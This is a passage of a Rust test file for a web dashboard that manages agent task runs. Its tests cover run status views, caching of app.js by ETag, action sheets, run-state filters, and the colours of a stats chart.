15979 "still stuck".to_owned(),
15980 "do it".to_owned(),
15981 PathBuf::from("/repo"),
15982 Source::Human,
15983 );
15984 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15985 q.put(&mut t1).expect("put");
15986 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15987 assert_eq!(view1["latest_attempt"]["resolved"], false);
15988 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15989 assert_eq!(view1["latest_attempt"]["done"], true);
15990
15991 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15993 write_run(&runs, run_a, RunStatus::Blocked);
15994 write_run(&runs, run_b, RunStatus::Implementing);
15995 let mut t3 = Task::new(
15996 "retrying".to_owned(),
15997 "do it".to_owned(),
15998 PathBuf::from("/repo"),
15999 Source::Human,
16000 );
16001 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16002 q.put(&mut t3).expect("put");
16003 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16004 assert_eq!(view3["latest_attempt"]["id"], run_b);
16005 assert_eq!(view3["latest_attempt"]["resolved"], false);
16006 assert_eq!(view3["latest_attempt"]["done"], false);
16007
16008 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16013 write_run(&runs, noop_a, RunStatus::Blocked);
16014 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16015 let mut t2 = Task::new(
16016 "claims done".to_owned(),
16017 "do it".to_owned(),
16018 PathBuf::from("/repo"),
16019 Source::Human,
16020 );
16021 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16022 q.put(&mut t2).expect("put");
16023 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16024 assert_eq!(
16025 view2["latest_attempt"]["resolved"], false,
16026 "an unverified no-op claim must not read as a confirmed finish"
16027 );
16028
16029 assert!(APP_JS.contains("latest.resolved"));
16032 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16035 assert!(APP_JS.contains("Latest attempt: "));
16036 assert!(APP_JS.contains("in flight"));
16037 assert!(APP_JS.contains("not resolved"));
16038 }
16039
16040 #[tokio::test]
16041 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16042 let fx = Fixture::start().await;
16043 let js = fx.get("/app.js").await;
16049 assert_eq!(js.status, 200);
16050 let tag = js
16051 .header("etag")
16052 .expect("an etag to revalidate against")
16053 .to_owned();
16054 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16055 assert_eq!(
16056 js.header("cache-control"),
16057 Some("no-cache, must-revalidate"),
16058 "the phone has to ask every time"
16059 );
16060
16061 let again = fx
16064 .get_with("/app.js", &[("if-none-match", tag.as_str())])
16065 .await;
16066 assert_eq!(
16067 again.status, 304,
16068 "a deck it already has costs one round trip"
16069 );
16070 assert!(again.body.is_empty(), "304 carries no body");
16071
16072 let weak = fx
16075 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16076 .await;
16077 assert_eq!(weak.status, 304);
16078 let stale = fx
16079 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16080 .await;
16081 assert_eq!(stale.status, 200, "an older build must be replaced");
16082 assert!(stale.body.contains("renderRunActions"));
16083 }
16084
16085 #[test]
16086 fn the_task_detail_has_an_actions_fab_and_sheet() {
16087 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16088 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16089 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16090 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16092 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16093 assert!(APP_JS.contains("renderTaskActions(task);"));
16095 assert!(APP_JS.contains("renderTaskActions(null);"));
16096 let sheet = APP_JS
16098 .find("function renderTaskActions")
16099 .expect("sheet renderer");
16100 let body = &APP_JS[sheet..sheet + 3000];
16101 assert!(body.contains("changePriority("));
16102 assert!(body.contains("openTaskEdit(task)"));
16103 assert!(body.contains("renderTaskHoldBox(host"));
16104 assert!(body.contains("renderTaskDoneBox(host"));
16105 assert!(body.contains("renderTaskDeleteBox(host"));
16106 assert!(APP_JS.contains("API.priority(id)"));
16107 assert!(APP_JS.contains("API.deleteTask(id)"));
16108 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16110 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16112 }
16113
16114 #[test]
16115 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16116 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16117 let actions = INDEX_HTML
16118 .find("id=\"run-actions-box\"")
16119 .expect("actions box");
16120 assert!(task < actions, "the task entry comes first in the sheet");
16121 assert!(APP_JS.contains("renderRunTaskEntry"));
16122 assert!(APP_JS.contains("\"Open task \""));
16123 assert!(APP_JS.contains("started directly, no task"));
16125 assert!(APP_JS.contains("sheet-task-link"));
16126 assert!(APP_JS.contains("task-chip-link"));
16127 }
16128
16129 #[test]
16130 fn the_deck_never_sends_the_operator_to_a_terminal() {
16131 assert!(
16134 !APP_JS.contains("Run `magi fold` first"),
16135 "the deck must offer the fold, not prescribe a shell command"
16136 );
16137 assert!(APP_JS.contains("foldRun:"));
16138 assert!(APP_JS.contains("resumeRun:"));
16139 assert!(APP_JS.contains("renderRunActions"));
16140
16141 assert!(APP_JS.contains("armedFold"));
16143 assert!(APP_JS.contains("Yes, fold worktrees"));
16144
16145 assert!(APP_JS.contains("can no longer be resumed"));
16148 }
16149
16150 #[test]
16151 fn a_finished_run_explains_itself_with_its_own_last_line() {
16152 assert!(
16158 !APP_JS.contains("collapsed on agent quota"),
16159 "a stall must not be explained by a cause the deck did not check"
16160 );
16161 assert!(
16162 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16163 "and a block must not offer a guess with an `or` in it"
16164 );
16165
16166 assert!(
16170 APP_JS.contains("setText(r.event, run.event || \"\")"),
16171 "the run's last line is rendered unconditionally"
16172 );
16173 assert!(
16174 !APP_JS.contains("moving && run.event"),
16175 "and never gated on the run still moving"
16176 );
16177
16178 assert!(APP_JS.contains("lost to quota"));
16180 }
16181
16182 #[test]
16204 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16205 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16206 let shapes_body_start =
16207 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16208 let shapes_close = APP_JS[shapes_body_start..]
16209 .find("].map(")
16210 .expect("the shape list is closed by its done-computing .map(...)")
16211 + shapes_body_start;
16212 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16213
16214 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16215 for entry in shapes_src.split('{').skip(1) {
16216 let waiting = entry.contains("waiting: true");
16217 let dead = entry.contains("live: \"dead\"");
16218 let status_at =
16219 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16220 let status_end = entry[status_at..]
16221 .find('"')
16222 .expect("the status string is closed")
16223 + status_at;
16224 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16225 }
16226 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16227
16228 let done_rule_marker = "done: !";
16232 let done_rule_at = APP_JS[shapes_close..]
16233 .find(done_rule_marker)
16234 .expect("the done rule follows the shape list")
16235 + shapes_close
16236 + done_rule_marker.len();
16237 let includes_at = APP_JS[done_rule_at..]
16238 .find(".includes(shape.status)")
16239 .expect("the done rule ends in .includes(shape.status)")
16240 + done_rule_at;
16241 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16242 .trim()
16243 .trim_start_matches('[')
16244 .trim_end_matches(']')
16245 .split(',')
16246 .map(|s| s.trim().trim_matches('"'))
16247 .filter(|s| !s.is_empty())
16248 .collect();
16249
16250 let shapes: Vec<(bool, String, bool, bool)> = shapes
16251 .into_iter()
16252 .map(|(waiting, status, dead)| {
16253 let done = !not_done.contains(&status.as_str());
16254 (waiting, status, dead, done)
16255 })
16256 .collect();
16257
16258 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16262 if waiting {
16263 return "waiting";
16264 }
16265 if dead
16266 && !matches!(
16267 status,
16268 "merged"
16269 | "ready"
16270 | "stalled"
16271 | "blocked"
16272 | "failed"
16273 | "verified_noop"
16274 | "superseded"
16275 | "already_in_base"
16276 )
16277 {
16278 return "stale";
16279 }
16280 match status {
16281 "merged" | "ready" => "landed",
16282 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16283 | "already_in_base" => "ended",
16284 _ => "flight",
16285 }
16286 }
16287
16288 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16291 match filter_key {
16292 "active" => !done,
16293 "flight" => !done && !waiting && !dead,
16294 "stale" => !done && !waiting && dead,
16295 "waiting" => waiting,
16296 "done" => done,
16297 "all" => true,
16298 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16299 }
16300 }
16301
16302 let compatible = |section: &str, filter_key: &str| {
16303 shapes.iter().any(|(waiting, status, dead, done)| {
16304 run_section(*waiting, status, *dead) == section
16305 && filter_matches(filter_key, *waiting, *dead, *done)
16306 })
16307 };
16308
16309 let expected = [
16314 ("waiting", [true, false, false, true, true, true]),
16315 ("stale", [true, false, true, false, false, true]),
16316 ("flight", [true, true, false, false, false, true]),
16317 ("landed", [false, false, false, false, true, true]),
16318 ("ended", [false, false, false, false, true, true]),
16319 ];
16320 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16321
16322 for (section, wants) in expected {
16323 for (filter_key, want) in filter_keys.iter().zip(wants) {
16324 assert_eq!(
16325 compatible(section, filter_key),
16326 want,
16327 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16328 );
16329 }
16330 }
16331
16332 assert!(
16335 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16336 );
16337 assert!(APP_JS.contains(
16338 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16339 ));
16340 assert!(APP_JS.contains(
16341 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16342 ));
16343 }
16344
16345 #[tokio::test]
16346 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16347 let dir = tempfile::tempdir().expect("tempdir");
16351 let explicit = dir.path().join("not-a-checkout");
16352 std::fs::create_dir_all(&explicit).expect("create dir");
16353 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16354
16355 let missing = dir.path().join("does-not-exist-at-all");
16356 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16357 }
16358
16359 #[test]
16360 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16361 assert!(APP_JS.contains("function statsDonutArcs"));
16362 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16363 assert!(APP_JS.contains("function statusInBucket"));
16365 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16366 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16367 let buckets = [
16368 "merged",
16369 "ready",
16370 "in_progress",
16371 "blocked",
16372 "failed",
16373 "verified_noop",
16374 "superseded",
16375 "stalled",
16376 ];
16377 for key in buckets {
16378 let var = format!("--verdict-{key}:");
16379 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16381 assert!(
16382 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16383 "{key}"
16384 );
16385 }
16386 }
16387}